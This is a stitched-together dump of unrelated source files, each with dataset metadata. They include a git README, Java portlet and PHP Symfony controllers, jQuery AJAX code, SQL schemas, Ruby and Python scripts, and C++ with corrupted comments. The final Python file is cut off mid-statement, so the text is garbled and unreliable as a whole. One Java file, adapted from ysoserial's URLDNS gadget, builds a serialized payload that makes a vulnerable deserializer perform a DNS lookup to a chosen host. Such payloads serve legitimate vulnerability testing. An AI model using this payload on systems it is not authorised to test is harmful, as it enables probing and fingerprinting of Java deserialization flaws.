# Notes on Git and Submodule management This projects makes use of submodules. [This is the best online resource](https://www.atlassian.com/git/tutorials/git-submodule) I have found about submodules. The min-devkit (and therefore all packages derived from it, including `gyro`), contains two submodules: the [min-api](https://github.com/Cycling74/min-api/tree/210d5da4b9a3ebc201b4be5c1f0733e3110b1993) and the [min-lib](https://github.com/Cycling74/min-lib/tree/fabb855b5c7534aec469ad891b9c5cb1d6e9468e). The `min-api` in turn contains a submodule [max-api](https://github.com/Cycling74/max-api/tree/1c06b88fc30da0931b6dfa4a874bc081afe00926). The advantage of using submodules is that if Cycling74 releases updates to any of these, then with a few simple commands, we can update the submodules without changing the entire structure of `gyro`. Note that submodules are locked to a particular commit and will not update automatically, which is good because updates to min submodules could potentially break `gyro` objects. Note also that when you follow [the build instructions provided by Cycling74](https://github.com/Cycling74/min-devkit/blob/master/ReadMe.md), or the [gyro build instructions](README.md) the submodules get updated. Before you will be able to commit a submodule package to your repo, you must `git add` it. Note that you must include the trailing slash, like this: `git add pathToNewPackage/` I use a strict "read-only" policy with the submodules. Making changes to submodules necessitates additional git workflows that are prone to user-error. Thus, I recommend making no changes to the actual submodules. # Notes on .gitignore Note that the `build/` directory and the `externals` directory (among others) are in the `.gitignore`. This is good etiquette because you shouldn't be relying on past builds, you should always be able to build from source.
Java
UTF-8
6,349
2.171875
2
[]
no_license
package org.light.portlets.addressbook; import static org.light.portal.util.Constants._CHARSET_UTF; import static org.light.portal.util.Constants._PORTLET_JSP_PATH; import java.net.URLDecoder; import java.util.List; import javax.portlet.ActionRequest; import javax.portlet.ActionResponse; import javax.portlet.PortletException; import javax.portlet.RenderRequest; import javax.portlet.RenderResponse; import javax.portlet.WindowState; import org.light.portal.model.User; import org.light.portal.portlet.core.impl.LightGenericPortlet; public class AddressBookPortlet extends LightGenericPortlet { public void processAction (ActionRequest request, ActionResponse response) throws PortletException, java.io.IOException { String action = request.getParameter("action"); if("save".equals(action)){ String id = request.getParameter("id"); String group = request.getParameter("group"); String groups = request.getParameter("groups"); String fullName = request.getParameter("fullName"); String homePhone = request.getParameter("homePhone"); String workPhone = request.getParameter("workPhone"); String mobilePhone = request.getParameter("mobilePhone"); int primaryPhone = Integer.parseInt(request.getParameter("primaryPhone")); String workEmail = request.getParameter("workEmail"); String personalEmail = request.getParameter("personalEmail"); int primaryEmail = Integer.parseInt(request.getParameter("primaryEmail")); String homePage = request.getParameter("homePage"); String address = request.getParameter("address"); String city = request.getParameter("city"); String province = request.getParameter("province"); String country = request.getParameter("country"); String postalCode = request.getParameter("postalCode"); if(group != null){ group = URLDecoder.decode(group,_CHARSET_UTF); }else{ group = URLDecoder.decode(groups,_CHARSET_UTF); } if(fullName != null) fullName = URLDecoder.decode(fullName,_CHARSET_UTF); if(workEmail != null) workEmail = URLDecoder.decode(workEmail,_CHARSET_UTF); if(personalEmail != null) personalEmail = URLDecoder.decode(personalEmail,_CHARSET_UTF); if(homePage != null) homePage = URLDecoder.decode(homePage,_CHARSET_UTF); if(address != null) address = URLDecoder.decode(address,_CHARSET_UTF); if(city != null) city = URLDecoder.decode(city,_CHARSET_UTF); if(province != null) province = URLDecoder.decode(province,_CHARSET_UTF); if(country != null) country = URLDecoder.decode(country,_CHARSET_UTF); if(postalCode != null) postalCode = URLDecoder.decode(postalCode,_CHARSET_UTF); AddressBook contact = null; int contactId = Integer.parseInt(id); if(contactId != 0){ contact = this.getUserService(request).getAddressBookById(contactId); }else{ contact = new AddressBook(); contact.setUserId(this.getUser(request).getId()); } contact.setGroup(group); contact.setFullName(fullName); contact.setHomePhone(homePhone); contact.setWorkPhone(workPhone); contact.setMobilePhone(mobilePhone); contact.setPrimaryPhone(primaryPhone); contact.setWorkEmail(workEmail); contact.setPersonalEmail(personalEmail); contact.setPrimaryEmail(primaryEmail); contact.setHomePage(homePage); contact.setAddress(address); contact.setCity(city); contact.setProvince(province); contact.setCountry(country); contact.setPostalCode(postalCode); this.getPortalService(request).save(contact); } else if("delete".equals(action)){ String id = request.getParameter("parameter"); AddressBook contact = this.getUserService(request).getAddressBookById(Integer.parseInt(id)); if(contact != null){ this.getPortalService(request).delete(contact); } } } protected void doView (RenderRequest request, RenderResponse response) throws PortletException, java.io.IOException { String contactId = request.getParameter("contactId"); if(contactId != null){ AddressBook contact = this.getUserService(request).getAddressBookById(Integer.parseInt(contactId)); request.setAttribute("contact",contact); this.getPortletContext().getRequestDispatcher(_PORTLET_JSP_PATH+"/addressbook/addressbookPortletDetailView.jsp").include(request,response); return; } User user = this.getUser(request); if(this.getVisitedUser(request) == null){ String group = request.getParameter("group"); List<AddressBook> contacts = null; if(group == null) contacts = this.getUserService(request).getAddressBooksByUser(user.getId()); else contacts = this.getUserService(request).getAddressBooksByUser(user.getId(),group); request.setAttribute("contacts",contacts); List<String> groups =this.getUserService(request).getAddressBookGroupByUser(user.getId()); request.setAttribute("groups",groups); if(groups != null && groups.size() > 0) request.setAttribute("groupCount",groups.size()); } if(request.getWindowState().equals(WindowState.MAXIMIZED)) this.getPortletContext().getRequestDispatcher(_PORTLET_JSP_PATH+"/addressbook/addressbookPortletMaxView.jsp").include(request,response); else this.getPortletContext().getRequestDispatcher(_PORTLET_JSP_PATH+"/addressbook/addressbookPortletView.jsp").include(request,response); } protected void doEdit (RenderRequest request, RenderResponse response) throws PortletException, java.io.IOException { String contactId = request.getParameter("contactId"); AddressBook contact = null; if(contactId != null){ contact = this.getUserService(request).getAddressBookById(Integer.parseInt(contactId)); }else{ contact = new AddressBook(); } List<String> groups =this.getUserService(request).getAddressBookGroupByUser(this.getUser(request).getId()); request.setAttribute("groups",groups); request.setAttribute("contact",contact); this.getPortletContext().getRequestDispatcher(_PORTLET_JSP_PATH+"/addressbook/addressbookPortletEdit.jsp").include(request,response); } }
JavaScript
UTF-8
2,397
2.640625
3
[]
no_license
function update(emp_no,emp_name,dept_no1,position_rank1,sal1){ var dept_no = document.getElementById(dept_no1).selectedIndex; var position_rank = document.getElementById(position_rank1).selectedIndex; var sal = document.getElementById(sal1).value; var dept_name = document.getElementById(dept_no1).options[dept_no].text; var position_name = document.getElementById(position_rank1).options[position_rank].text; if(dept_no==0){ alert("부서를 선택해주세요"); return false; } if(position_rank==0){ alert("직급을 선택해주세요"); return false; } if(sal==0){ alert("급여를 선택해주세요"); return false; } if(confirm(emp_name +"가입 승인하시는건가요?") == true){ //확인 $('.btn_del').unbind('click'); }else{ //취소 return false; } $.ajax({ url : "/KHIntranet/EmployeeUpdate.ajax", /* web.xml에 지정 */ type : "post", data : {emp_no : emp_no, dept_no : dept_no, position_rank : position_rank, sal : sal, position_name : position_name, dept_name : dept_name }, success : function(test){ /* 성공시 */ location.reload(true); var parsed = JSON.parse(test); var result = parsed.result; }, error: function(xhr, textStatus, errorThrown) { //$("div").html("<div>" + textStatus + " (HTTP-" + xhr.status + " / " + errorThrown + ")</div>" ); alert(xhr.status + errorThrown ); } }); }; //가입 거절 function empDelete(emp_no,emp_name){ if(confirm(emp_name+"님의 가입을 거절하시는건가요?") == true){ //확인 $('.btn_del').unbind('click'); }else{ //취소 return false; } $.ajax({ url : "/KHIntranet/EmployeeDelect.ajax", /* web.xml에 지정 */ type : "post", data : {emp_no : emp_no }, success : function(test){ /* 성공시 */ location.reload(true); var parsed = JSON.parse(test); var result = parsed.result; }, error: function(xhr, textStatus, errorThrown) { //$("div").html("<div>" + textStatus + " (HTTP-" + xhr.status + " / " + errorThrown + ")</div>" ); alert(xhr.status + errorThrown ); } }); };
C++
GB18030
821
2.953125
3
[]
no_license
#include <iostream> #include <fstream> using namespace std; //ʹļIOıƷʽʾд //ļ struct ServerInfo { char _ip[32];//ip int _port;//˿ }; struct ConfigManager { public: ConfigManager(const char* configfile = "bitserver.config") :_configfile(configfile) {} void WriteBin(const ServerInfo& info) { //עöƵķʽ ofstream ofs(_configfile, ifstream::in | ifstream::binary); ofs.write((const char*)&info, sizeof(ServerInfo)); ofs.close(); } void ReadBin(ServerInfo& info) { //עʹöƷʽ򿪶 ifstream ifs(_configfile, ifstream::out | ifstream::binary); ifs.read((char*)&info, sizeof(ServerInfo)); ifs.close(); } private: string _configfile;//ļ }; int main() { return 0; }
C++
UTF-8
212
2.5625
3
[]
no_license
#ifndef CIRCLE_H_ #define CIRCLE_H_ class Circle { public: Circle(unsigned int radius); float get_circumference(); float get_area(); private: unsigned int radius; }; #endif /* CIRCLE_H_ */
SQL
UTF-8
346
3.171875
3
[]
no_license
create table courses( school_code enum('L', 'B', 'A', 'F', 'E', 'T', 'I', 'W', 'S', 'U', 'M') not null, dept_id TINYINT UNSIGNED NOT NULL, course_code char(5), name VARCHAR(150), primary key(course_code), FOREIGN key (school_code) REFERENCES departments (school_code) )engine = INNODB DEFAULT character SET = utf8 COLLATE = utf8_general_ci;
C
UTF-8
87
2.796875
3
[]
no_license
#include<stdio.h> main() { int i; for (i=0;i<=10;i+=2) printf("%d\t",i); }
Markdown
UTF-8
1,550
2.828125
3
[ "MIT" ]
permissive
# Task.GroupDocs.Conversion This is a small demo of GroupDocs Conversion from any format to PDF format in a specified folder hardcoded in the code. You can change the code according to your needs if you want to test out the GroupDocs API for document conversion purposes. ##How To Build? Clone the repository and sync it locally on your system. Open *VisualStudio* 2013 or higher and load the solution file of the project. (Task.SLN) and build the project before exceuting. ##How To Insert Files For Conversion? Simply place your required files in the INPUT folder on the root directory of the project and hit the *CONVERT button after running the application and you will shortly receive the converted file(s) in the OUTPUT_DIR folder on the root directory as a .PDF file. ###FAQ's Question: If I place the same name files but different extensions? Answer: Due to no check in this simple application the file will be automatically overwrited by the last converted file. For Example: If you insert sample1.doc and sample1.docx and both files have respectively different content in them while processing these two files form this application you will get only the sample1.pdf (1 file in the OUTPUT_DIR folder) because the system will overwrite & replace withthe most recent converted file. Question: Can it convert multiple files? Answer: Yes this application easily converts multiple files from their other file formats to PDF without any issue. But this conversion time may varry system to system depending upon on your processor and ram speed.
Python
UTF-8
2,610
3.984375
4
[ "MIT" ]
permissive
#!/usr/bin/env python3 """Project 0x03. Probability""" class Normal: """Class that represents an Normal distribution""" e = 2.7182818285 pi = 3.1415926536 def __init__(self, data=None, mean=0., stddev=1.): """Constructor of Normal Parameters: data (list): List of numbers mean (float): mean of data stddev (float): Standard deviation of Normal distribution """ self.data = data if self.data is None: if stddev <= 0: raise ValueError("stddev must be a positive value") self.mean = mean self.stddev = stddev else: # Calculates the mean and standard deviation of data self.mean = sum(data) / len(data) tmpstdev = 0 for el in data: tmpstdev += (el - self.mean) ** 2 self.stddev = (tmpstdev/len(data)) ** (1/2) @property def data(self): """Getter of data""" return self.__data @data.setter def data(self, value): """Setter of data""" if value is not None and not isinstance(value, list): raise TypeError("data must be a list") if value is not None and len(value) < 2: raise ValueError("data must contain multiple values") self.__data = value @property def mean(self): """Getter of mean""" return self.__mean @mean.setter def mean(self, value): """Setter of mean""" self.__mean = float(value) @property def stddev(self): """Getter of stddev""" return self.__stddev @stddev.setter def stddev(self, value): """Setter of stddev""" self.__stddev = float(value) def z_score(self, x): """Calculates the z-score of a given x-value""" return (x - self.mean) / self.stddev def x_value(self, z): """Calculates the x-value of a given z-score""" return z * self.stddev + self.mean def pdf(self, x): """Calculates the value of the PDF for a given x-value""" return (self.e ** (-0.5 * (self.z_score(x) ** 2))) \ / (self.stddev * ((2 * self.pi) ** 0.5)) def erf(self, z): """Error function encountered in integrating the normal distribution""" return (2 / (self.pi**0.5)) * \ (z - (z**3) / 3 + (z**5) / 10 - (z**7) / 42 + (z**9) / 216) def cdf(self, x): """Calculates the value of the CDF for a given x-value""" return 0.5 * (1 + self.erf((self.z_score(x) / (2 ** 0.5))))
PHP
UTF-8
11,358
2.734375
3
[]
no_license
<?php namespace AddressBookBundle\Controller; use Symfony\Bundle\FrameworkBundle\Controller\Controller; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method; use Symfony\Component\HttpFoundation\Request; use AddressBookBundle\Entity\Person; use AddressBookBundle\Entity\Address; use AddressBookBundle\Entity\Phone; use AddressBookBundle\Entity\Email; class PersonController extends Controller { public function generatePersonForm($person, $action) { $form = $this->createFormBuilder($person) ->setAction($action) ->add('name', 'text') ->add('surname', 'text') ->add('description', 'text') ->add('save', 'submit') ->getForm(); return $form; } public function generateAddressForm($address, $action) { $form = $this->createFormBuilder($address) ->setAction($action) ->add('city', 'text') ->add('street', 'text') ->add('houseNo', 'text') ->add('flatNo', 'text') ->add('save', 'submit') ->getForm(); return $form; } public function generatePhoneForm($phone, $action) { $form = $this->createFormBuilder($phone) ->setAction($action) ->add('number', 'text') ->add('type', 'text') ->add('save', 'submit') ->getForm(); return $form; } public function generateEmailForm($email, $action) { $form = $this->createFormBuilder($email) ->setAction($action) ->add('address', 'text') ->add('type', 'text') ->add('save', 'submit') ->getForm(); return $form; } /** * @Route("/new") */ public function newPersonAction(Request $request) { $person = new Person(); $form = $this->generatePersonForm($person, null); $form->handleRequest($request); if ($request->getMethod() == 'POST' && $form->isSubmitted()) { $person = $form->getData(); $em = $this->getDoctrine()->getManager(); $em->persist($person); $em->flush(); return $this->redirectToRoute('addressbook_person_showperson', ['id' => $person->getId()]); } return $this->render('AddressBookBundle:Person:new.html.twig', ['formPerson' => $form->createView()]); } /** * @Route("/") */ public function showIndexAction() { $personsRepo = $this->getDoctrine()->getRepository("AddressBookBundle:Person"); //$persons = $personsRepo->findAll(); $persons = $personsRepo->getPersonsOrderedByName(); return $this->render('AddressBookBundle:Person:show_index.html.twig', ['persons' => $persons]); } /** * @Route("/{id}", requirements={"id"="\d+"}) */ public function showPerson($id) { $personsRepo = $this->getDoctrine()->getRepository("AddressBookBundle:Person"); $person = $personsRepo->find($id); if ($person == null) { throw $this->createNotFoundException(); } return $this->render('AddressBookBundle:Person:show_person.html.twig', ['person' => $person]); } //poniższa funkcja jest niepotrzebna dodaliśmy ją tylko na potrzeby ćwiczeń /** * @Route("/add") */ public function addAction() { $repo = $this->getDoctrine()->getRepository("AddressBookBundle:Person"); $em = $this->getDoctrine()->getManager(); $person = $repo->find(1); $address = new Address(); $address->setCity('Sopot'); $address->setStreet('Sopocka'); $address->setHouseNo(rand(10, 100)); $address->setFlatNo(rand(10, 100)); //$address->setPerson($person); /* powyższe moge zakomentować jezeli w pliku Person.php dodam: public function addAddress(\AddressBookBundle\Entity\Address $addresses) { $addresses->setPerson($this); $this->addresses[] = $addresses; return $this; } */ $person->addAddress($address); $em->persist($person); $em->flush(); return $this->redirectToRoute("addressbook_person_showindex"); } // /** // * @ORM\OneToMany(targetEntity="Address", mappedBy="person", cascade={"persist"}) // */ // private $addresses; // // /** // * @ORM\OneToMany(targetEntity="Phone", mappedBy="person", cascade={"persist"}) dodajemy te persisty zeby nam pozwoliło zapisywać dane dotyczące kolumn powiązanych z person, np. jej adres // */ // private $phones; // // /** // * @ORM\OneToMany(targetEntity="Email", mappedBy="person", cascade={"persist"}) // */ // private $emails; /** * @Route("/{id}/delete", requirements={"id"="\d+"}) * @param type $id */ public function deletePersonAction($id) { $personsRepo = $this->getDoctrine()->getRepository("AddressBookBundle:Person"); $personToDelete = $personsRepo->find($id); if ($personToDelete != null) { $em = $this->getDoctrine()->getManager(); $em->remove($personToDelete); $em->flush(); } return $this->redirectToRoute('addressbook_person_showindex'); } /** * @Route("/{id}/deleteAddress", requirements={"id"="\d+"}) */ public function deleteAddressAction($id) { $addressesRepo = $this->getDoctrine()->getRepository("AddressBookBundle:Address"); $addressToDelete = $addressesRepo->find($id); if ($addressToDelete != null) { $person = $addressToDelete->getPerson(); $em = $this->getDoctrine()->getManager(); $em->remove($addressToDelete); $em->flush(); return $this->redirectToRoute('addressbook_person_showperson', ['id' => $person->getId()]); } } /** * @Route("/{id}/deletePhone", requirements={"id"="\d+"}) */ public function deletePhoneAction($id) { $phonesRepo = $this->getDoctrine()->getRepository("AddressBookBundle:Phone"); $phoneToDelete = $phonesRepo->find($id); if ($phoneToDelete != null) { $person = $phoneToDelete->getPerson(); $em = $this->getDoctrine()->getManager(); $em->remove($phoneToDelete); $em->flush(); return $this->redirectToRoute('addressbook_person_showperson', ['id' => $person->getId()]); } } /** * @Route("/{id}/deleteEmail", requirements={"id"="\d+"}) */ public function deleteEmailAction($id) { $emailsRepo = $this->getDoctrine()->getRepository("AddressBookBundle:Email"); $emailToDelete = $emailsRepo->find($id); if ($emailToDelete != null) { $person = $emailToDelete->getPerson(); $em = $this->getDoctrine()->getManager(); $em->remove($emailToDelete); $em->flush(); return $this->redirectToRoute('addressbook_person_showperson', ['id' => $person->getId()]); } } /** * @Route("/{id}/modify", requirements={"id"="\d+"}) */ public function modifyPersonAction(Request $request, $id) { $personsRepo = $this->getDoctrine()->getRepository("AddressBookBundle:Person"); $personToModify = $personsRepo->find($id); $form = $this->generatePersonForm($personToModify, null); $form->handleRequest($request); if ($request->getMethod() == 'POST' && $form->isSubmitted()) { $personToModify = $form->getData(); $em = $this->getDoctrine()->getManager(); //$em->persist($personToModify); $em->flush(); return $this->redirectToRoute('addressbook_person_showperson', ['id' => $id]); } $address = new Address(); $action = $this->generateUrl('addressbook_person_addaddress', ['id' => $id]); $addressForm = $this->generateAddressForm($address, $action); $phone = new Phone(); $action = $this->generateUrl('addressbook_person_addphone', ['id' => $id]); $phoneForm = $this->generatePhoneForm($phone, $action); $email = new Email(); $action = $this->generateUrl('addressbook_person_addemail', ['id' => $id]); $emailForm = $this->generateEmailForm($email, $action); return $this->render('AddressBookBundle:Person:new.html.twig', [ 'formPerson' => $form->createView(), 'formAddress' => $addressForm->createView(), 'formPhone' => $phoneForm->createView(), 'formEmail' => $emailForm->createView() ]); } /** * @Route("/{id}/addAddress", requirements={"id"="\d+"}) * @Method("POST") */ public function addAddressAction(Request $request, $id) { $address = new Address(); $form = $this->generateAddressForm($address, null); $form->handleRequest($request); if ($form->isSubmitted()) { $address = $form->getData(); $personsRepo = $this->getDoctrine()->getRepository("AddressBookBundle:Person"); $person = $personsRepo->find($id); $address->setPerson($person); $person->addAddress($address); $em = $this->getDoctrine()->getManager(); $em->persist($address); $em->flush(); } return $this->redirectToRoute('addressbook_person_showperson', ['id' => $person->getId()]); } /** * @Route("/{id}/addPhone", requirements={"id"="\d+"}) * @Method("POST") */ public function addPhoneAction(Request $request, $id) { $phone = new Phone(); $form = $this->generatePhoneForm($phone, null); $form->handleRequest($request); if ($form->isSubmitted()) { $phone = $form->getData(); $personsRepo = $this->getDoctrine()->getRepository("AddressBookBundle:Person"); $person = $personsRepo->find($id); $phone->setPerson($person); $person->addPhone($phone); $em = $this->getDoctrine()->getManager(); $em->persist($phone); $em->flush(); } return $this->redirectToRoute('addressbook_person_showperson', ['id' => $person->getId()]); } /** * @Route("/{id}/addEmail", requirements={"id"="\d+"}) * @Method("POST") */ public function addEmailAction(Request $request, $id) { $email = new Email(); $form = $this->generateEmailForm($email, null); $form->handleRequest($request); if ($form->isSubmitted()) { $email = $form->getData(); $personsRepo = $this->getDoctrine()->getRepository("AddressBookBundle:Person"); $person = $personsRepo->find($id); $email->setPerson($person); $person->addEmail($email); $em = $this->getDoctrine()->getManager(); $em->persist($email); $em->flush(); } return $this->redirectToRoute('addressbook_person_showperson', ['id' => $person->getId()]); } }
SQL
UTF-8
2,992
3.21875
3
[]
no_license
/* Navicat MySQL Data Transfer Source Server : Gopal Source Server Version : 50721 Source Host : 127.0.0.1:3306 Source Database : spring-transaction Target Server Type : MYSQL Target Server Version : 50721 File Encoding : 65001 Date: 2018-12-09 09:22:29 */ SET FOREIGN_KEY_CHECKS=0; -- ---------------------------- -- Table structure for customer -- ---------------------------- DROP TABLE IF EXISTS `customer`; CREATE TABLE `customer` ( `customer_id` int(10) unsigned NOT NULL AUTO_INCREMENT, `customer_name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '', PRIMARY KEY (`customer_id`), UNIQUE KEY `account_id` (`customer_id`) USING BTREE ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci ROW_FORMAT=COMPRESSED; -- ---------------------------- -- Table structure for customer_contact -- ---------------------------- DROP TABLE IF EXISTS `customer_contact`; CREATE TABLE `customer_contact` ( `contact_id` int(10) unsigned NOT NULL AUTO_INCREMENT, `contact_customer_id` int(10) NOT NULL DEFAULT '0', `contact_fname` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '', `contact_lname` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '', PRIMARY KEY (`contact_id`), UNIQUE KEY `contact_id` (`contact_id`) USING BTREE, KEY `contact_account_id` (`contact_customer_id`) USING BTREE ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci ROW_FORMAT=COMPRESSED; -- ---------------------------- -- Table structure for sales_oppr -- ---------------------------- DROP TABLE IF EXISTS `sales_oppr`; CREATE TABLE `sales_oppr` ( `oppr_id` int(10) unsigned NOT NULL AUTO_INCREMENT, `oppr_no` int(10) NOT NULL DEFAULT '0', `oppr_customer_id` int(10) NOT NULL DEFAULT '0', `oppr_contact_id` int(10) NOT NULL DEFAULT '0', `oppr_title` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '', `oppr_desc` varchar(255) COLLATE utf8_unicode_ci DEFAULT '', `oppr_date` datetime DEFAULT NULL, PRIMARY KEY (`oppr_id`), UNIQUE KEY `oppr_id` (`oppr_id`) USING BTREE, KEY `oppr_account_id` (`oppr_customer_id`) USING BTREE, KEY `oppr_contact_id` (`oppr_contact_id`) USING BTREE ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci; -- ---------------------------- -- Table structure for sales_oppr_history -- ---------------------------- DROP TABLE IF EXISTS `sales_oppr_history`; CREATE TABLE `sales_oppr_history` ( `history_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `history_oppr_id` bigint(20) unsigned NOT NULL DEFAULT '0', `history_datetime` datetime DEFAULT NULL, `history_actiontype` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '', `history_oldvalue` text COLLATE utf8_unicode_ci, `history_newvalue` text COLLATE utf8_unicode_ci, PRIMARY KEY (`history_id`), UNIQUE KEY `history_id` (`history_id`) USING BTREE, KEY `history_oppr_id` (`history_oppr_id`) USING BTREE ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
Java
UTF-8
1,686
2.5625
3
[]
no_license
package com.fuping; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.InetAddress; import java.net.URL; import java.net.URLConnection; import java.net.URLStreamHandler; import java.util.HashMap; public class URLDNSCheck { public static byte[] makeDNSURL(String url) throws Exception { // https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java#L55 URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); URL u = new URL(null, "http://"+url, handler); ht.put(u, url); // reset hashCode cache Class<?> clazz = u.getClass(); Field codev = clazz.getDeclaredField("hashCode"); codev.setAccessible(true); codev.set(u, -1); byte[] bytes = getBytes(ht); return bytes; } private static byte[] getBytes(Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = null; ObjectOutputStream objectOutputStream = null; byteArrayOutputStream = new ByteArrayOutputStream(); objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); objectOutputStream.flush(); return byteArrayOutputStream.toByteArray(); } static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection(URL u) throws IOException { return null; } protected synchronized InetAddress getHostAddress(URL u) { return null; } } }
Java
UTF-8
255
1.515625
2
[]
no_license
package seleniumproject.SrideviJenkins; import org.testng.annotations.Test; import org.testng.annotations.BeforeTest; import org.testng.annotations.AfterTest; public class NewTest2 { @Test public void f() { System.out.println("test2"); } }
Ruby
UTF-8
1,535
3.109375
3
[]
no_license
# Returns a file containing student names and their corresponding multiple choice grade # to input into Pandagrader require 'csv' require_relative '../csv_helpers' # multiple_choice_grades_file = 'mult_choice_grades.csv' # frq_grades_file = 'midterm1_grades.csv' # # merged_grades_file = 'multiple_choice_with_names.csv' # # mult_choice_grades = CSV.load_hash multiple_choice_grades_file, 'SID', 'Mark' # # values = [] # CSV.foreach frq_grades_file, :headers => true, :return_headers => false do |row| # if mult_choice_grades.has_key? row['SID'] # values << [row['Name'], mult_choice_grades[row['SID']]] # end # end # # CSV.dump_array merged_grades_file, values.sort midterm1_grades_file = File.expand_path('../midterm1_scores.csv', __FILE__) midterm2_grades_file = File.expand_path('../midterm2_scores.csv', __FILE__) midterm_grades_ouput_file = File.expand_path('../midterm_grades.csv', __FILE__) midterm2_grades = CSV.load_hash midterm2_grades_file, 'SID', 'Mark' values = [] CSV.foreach midterm1_grades_file, :headers => true, :return_headers => false do |row| values << [ row['Name'], row['SID'], row['Total Score'], # We added 2 because the raw midterm 2 scores did not include the extra credit for name and login midterm2_grades[row['SID']].to_f + 2 ] midterm2_grades.delete row['SID'] end CSV.dump_array midterm_grades_ouput_file, values, ['Name', 'SID', 'midterm1', 'midterm2'] midterm2_grades.each do |sid, grade| puts "#{sid} was not joined to a midterm 1 score" end
Python
UTF-8
4,905
3.109375
3
[]
no_license
import pandas as pd writer = pd.ExcelWriter('BaseIPDO.xlsx', engine= 'openpyxl') #para usar essa função, é necessário instalar o pacote "xlsxwriter" ou "openpyxl" pd.set_option('display.width', 100) #determinação de constantes, para melhor legibilidade do código: #definições relativas às tabelas em análise para indexação linNorteENA = 2 linNordesteENA = 3 linSulENA = 4 linSudesteENA = 5 #define alguns indexes indexEA = ['Sul', 'Sudeste', 'Norte', 'Nordeste'] indexSubsistema = ['Norte', 'Nordeste', 'Sul', 'Sudeste'] #FUNÇÕES UTILIZADAS: #determinar o nome do arquivo a ser analisado: def setFile(a,m): if m == 1: d = 31 mes = 'JAN' mesPasta = 'Janeiro' elif m == 2: d = 28 mes = 'FEV' mesPasta = 'Fevereiro' elif m == 3: d = 31 mes = 'MAR' mesPasta = 'Março' elif m == 4: d = 30 mes = 'ABR' mesPasta = 'Abril' elif m == 5: d = 31 mes = 'MAI' mesPasta = 'Maio' elif m == 6: d = 30 mes = 'JUN' mesPasta = 'Junho' elif m == 7: d = 31 mes = 'JUL' mesPasta = 'Julho' elif m == 8: d = 31 mes = 'AGO' mesPasta = 'Agosto' elif m == 9: d = 30 mes = 'SET' mesPasta = 'Setembro' elif m == 10: d = 31 mes = 'OUT' mesPasta = 'Outubro' elif m == 11: d = 30 mes = 'NOV' mesPasta = 'Novembro' elif m == 12: d = 31 mes = 'DEC' mesPasta = 'Dezembro' excel = 'IPDO_' + str(d) + mes + str(a) + '.xlsx' return(excel, mesPasta) #acessar a planilha a ser analisada: #a ordem das planilhas no arquivo excel é diferente nos intervalos fev-abr/mai-ago/set-atualmente. #por isso, é necessário definir três funções diferentes. def ENAmensal17a(ano, mes): (excel, mesPasta) = setFile(ano, mes) #ENA energiaNaturalAfluente = pd.read_excel(excel, "19-Energia Natural Afluente") enaNorte = energiaNaturalAfluente.iloc[linNorteENA, 4] #ENA bruta do mês enaNordeste = energiaNaturalAfluente.iloc[linNordesteENA, 4] enaSul = energiaNaturalAfluente.iloc[linSulENA, 4] enaSudeste = energiaNaturalAfluente.iloc[linSudesteENA,4] #cria uma série com os novos dados dadosENA = [enaNorte, enaNordeste, enaSul, enaSudeste] ENAmensal = pd.Series(dadosENA, name= "ENA " + str(mesPasta) + "2018") ENAmensal.set_axis(indexSubsistema, inplace=True) return(ENAmensal) def ENAmensal17b(ano, mes): (excel, mesPasta) = setFile(ano, mes) #ENA energiaNaturalAfluente = pd.read_excel(excel, "20-Energia Natural Afluente") enaNorte = energiaNaturalAfluente.iloc[linNorteENA, 4] #ENA bruta do mês enaNordeste = energiaNaturalAfluente.iloc[linNordesteENA, 4] enaSul = energiaNaturalAfluente.iloc[linSulENA, 4] enaSudeste = energiaNaturalAfluente.iloc[linSudesteENA,4] #cria uma série com os novos dados dadosENA = [enaNorte, enaNordeste, enaSul, enaSudeste] ENAmensal = pd.Series(dadosENA, name= "ENA " + str(mesPasta) + "2018") ENAmensal.set_axis(indexSubsistema, inplace=True) return(ENAmensal) def ENAmensal18(ano, mes): (excel, mesPasta) = setFile(ano, mes) #ENA energiaNaturalAfluente = pd.read_excel(excel, "21-Energia Natural Afluente") enaNorte = energiaNaturalAfluente.iloc[linNorteENA, 4] #ENA bruta do mês enaNordeste = energiaNaturalAfluente.iloc[linNordesteENA, 4] enaSul = energiaNaturalAfluente.iloc[linSulENA, 4] enaSudeste = energiaNaturalAfluente.iloc[linSudesteENA,4] #cria uma série com os novos dados dadosENA = [enaNorte, enaNordeste, enaSul, enaSudeste] ENAmensal = pd.Series(dadosENA, name= "ENA " + str(mesPasta) + "2018") ENAmensal.set_axis(indexSubsistema, inplace=True) return(ENAmensal) #as funções abaixo coletam os dados de cada ano: def ano2018(): jan18 = ENAmensal18(2018, 1) fev18 = ENAmensal18(2018, 2) mar18 = ENAmensal18(2018, 3) ano2018 = pd.DataFrame([jan18, fev18, mar18]) return(ano2018) def ano2017(): fev17 = ENAmensal17a(2017, 2) mar17 = ENAmensal17a(2017, 3) abr17 = ENAmensal17a(2017, 4) mai17 = ENAmensal17b(2017, 5) jun17 = ENAmensal17b(2017, 6) jul17 = ENAmensal17b(2017, 7) ago17 = ENAmensal17b(2017, 8) set17 = ENAmensal18(2017, 9) out17 = ENAmensal18(2017, 10) nov17 = ENAmensal18(2017, 11) dez17 = ENAmensal18(2017, 12) ano2017 = pd.DataFrame([fev17, mar17, abr17, mai17, jun17, jul17, ago17, set17, out17, nov17, dez17]) return(ano2017) df2018 = 